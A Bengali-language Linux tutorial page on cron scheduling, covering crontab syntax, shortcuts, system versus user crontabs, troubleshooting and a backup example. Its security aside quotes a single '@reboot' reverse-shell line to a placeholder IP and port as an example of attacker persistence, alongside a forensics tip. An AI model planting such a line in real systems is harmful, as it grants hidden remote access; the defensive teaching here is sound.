Skip to Content

Scheduling Tasks

কল্পনা করুন, আপনার একজন ব্যক্তিগত এসিস্ট্যান্ট আছে যাকে আপনি একবার বলে দিলেন— “প্রতিদিন রাত ২টায় আমার সব ফাইল কপি করে রাখবে,” আর সে কোনো ভুল ছাড়াই প্রতিদিন সেটি করতে থাকলো। লিনাক্সে এই অটোমেশনের কাজগুলো করা হয় Cron এবং আধুনিক সিস্টেমে Systemd Timers ব্যবহার করে।

Cron

Cron হলো লিনাক্সের একটি টাইম-বেজড জব শিডিউলার। এটি ব্যাকগ্রাউন্ডে সবসময় কান পেতে বসে থাকে এবং আপনার দেওয়া সময় অনুযায়ী কমান্ডগুলো এক্সিকিউট করে।

আপনি আপনার কাজের যে তালিকা এই অ্যাসিস্ট্যান্টকে দেন, সেটির নাম হলো Crontab (Cron Table)।

Crontab Anatomy

ক্রন-কে সময় বোঝানোর জন্য ৫টি স্টার ব্যবহার করতে হয়। প্রতিটি স্টার একেকটি সময় নির্দেশ করে:

* * * * * command_to_execute | | | | | | | | | +----- দিন (সপ্তাহের): ০-৬ (০=রবিবার) | | | +------- মাস: ১-১২ | | +--------- দিন (মাসের): ১-৩১ | +----------- ঘণ্টা: ০-২৩ +------------- মিনিট: ০-৫৯

Advanced Shortcuts

৫টি স্টার মনে রাখা যদি আপনার কাছে কঠিন মনে হয়, তবে লিনাক্স আমাদের কিছু সহজ শর্টকাট বা “Special Strings” দেয় যা স্টারের বদলে ব্যবহার করলে কাজ আরও সহজ হয়:

শর্টকাটমানেকখন ব্যবহার করবে
@rebootকম্পিউটার অন হওয়ার পরপ্রতিবার বুট সিকুয়েন্স শেষ হলে কাজ শুরু করতে
@hourlyপ্রতি ঘণ্টার শুরুতে0 * * * * এর বিকল্প হিসেবে
@dailyপ্রতিদিন মধ্যরাতে0 0 * * * এর বিকল্প হিসেবে
@weeklyপ্রতি রবিবার রাত ১২টায়0 0 * * 0 এর বিকল্প হিসেবে

Managing Crontab

লার্নার হিসেবে আপনার নিজের জন্য এবং অ্যাডমিনিস্ট্রেটর হিসেবে অন্যদের জন্য ক্রন জব ম্যানেজ করা শিখতে হবে।

  • নিজের জন্য: crontab -e (এডিট) এবং crontab -l (লিস্ট দেখা)।
  • অন্য ইউজারের জন্য: যদি আপনার কাছে সুডো (sudo) পাওয়ার থাকে, তবে আপনি নির্দিষ্ট ইউজারের ক্রন এডিট করতে পারেন:
Terminal
sudo crontab -u cmnatic -e

System vs User Crontab

লিনাক্সে ক্রন জব দুই স্তরে থাকে। এই পার্থক্যটি বোঝা ইনভেস্টিগেশনের জন্য জরুরি:

  1. User Crontabs: এগুলো /var/spool/cron/crontabs/ ডিরেক্টরিটে থাকে। প্রতিটি ইউজারের নিজস্ব ক্রন ফাইল থাকে।
  2. System Crontabs: এগুলো /etc/crontab এবং /etc/cron.d/ ডিরেক্টরিতে থাকে। এগুলো সাধারণত সিস্টেম-লেভেলের মেইনটেন্যান্স বা ব্যাকআপের জন্য অ্যাডমিনরা ব্যবহার করেন।

Troubleshooting Trap

ক্রন জবে সবচেয়ে বড় চ্যালেঞ্জ হলো এটি সরাসরি আপনার চোখের সামনে চলে না। ফলে সমস্যা হলে ধরা কঠিন।

Path Issue

টার্মিনাল আপনার ঘর চেনে, কিন্তু ক্রন তার নিজের একটি সাধারণ এনভায়রনমেন্ট ব্যবহার করে। তাই ক্রন-এ কমান্ড লিখলে সবসময় তার Full Path ব্যবহার করুন। python3 না লিখে /usr/bin/python3 লিখুন।

Executable Bit

আপনি যে স্ক্রিপ্টটি চালাতে চাচ্ছেন, সেটির কি রান করার পারমিশন আছে? নাহলে ক্রন সেটি চালাতে পারবে না।

Terminal
chmod +x /home/omar/scripts/backup.sh

Checking Logs

যদি দেখেন ক্রন কাজ করছে না, তবে লিনাক্স সিস্টেম লগে সার্চ করে দেখুন কেন ভুল হচ্ছে:

Terminal
# শুধুমাত্র ক্রন রিলেটেড লগগুলো ফিল্টার করো grep CRON /var/log/syslog

Practical Example (Backup)

ধরুন, আপনি ‘cmnatic’ ইউজারের Documents ফোল্ডারটি প্রতি ১২ ঘণ্টা পরপর ব্যাকআপ নিতে চান। একটি স্ক্রিপ্ট লিখে তা এনট্রি করার পূর্ণ ধাপ:

Terminal
# ১. স্ক্রিপ্ট তৈরি করো cat <<EOF > /home/omar/backup.sh #!/bin/bash tar -czf /var/backups/docs_\$(date +%F).tar.gz /home/cmnatic/Documents EOF # ২. পারমিশন দাও chmod +x /home/omar/backup.sh # ৩. ক্রন-এ এন্ট্রি করো (প্রতি ১২ ঘণ্টা পরপর) 0 */12 * * * /home/omar/backup.sh

CyberSec Note

The Persistence Investigation:

অ্যাটাকাররা যখন কোনো পিসিতে দখল পায়, তারা চায় না যে পিসি রিস্টার্ট দিলে তাদের অ্যাক্সেস চলে যাক। তাই তারা প্রায়ই @reboot bash -i >& /dev/tcp/IP/PORT 0>&1 টাইপের রিভার্স শেল ক্রন জবে ঢুকিয়ে দেয়।

Forensics Tip:
ইনভেস্টিগেশন করার সময় শুধু নিজের ক্রন দেখলে হবে না। একজন ডিফেন্ডার হিসেবে আপনাকে অবশ্যই /etc/crontab এবং /etc/cron.d/ চেক করতে হবে, কারণ রুটকিট বা অ্যাডভান্সড ম্যালওয়্যার সাধারণত সেখানেই লুকিয়ে থাকে।

Quick Check

  • crontab -u কমান্ডটি কেন এবং কখন ব্যবহার করা হয়?
  • কেন একটি স্ক্রিপ্ট ম্যানুয়ালি কাজ করলেও ক্রন-এ কাজ নাও করতে পারে?
  • কম্পিউটার রিস্টার্ট হওয়ার সময় অটোমেটিক সার্ভিস চালু করার শর্টকাট কী?
  • /etc/crontab এবং সাধারণ ইউজার ক্রন-এর মধ্যে মূল পার্থক্য কী?

পরবর্তী Section → Process Priority

linux cron jobs bangla path issue, systemd timers bengali, crontab automation tutorial, linux scheduling security, privilege escalation cron bengali, crontab -u usage bangla, etc crontab location

Last updated on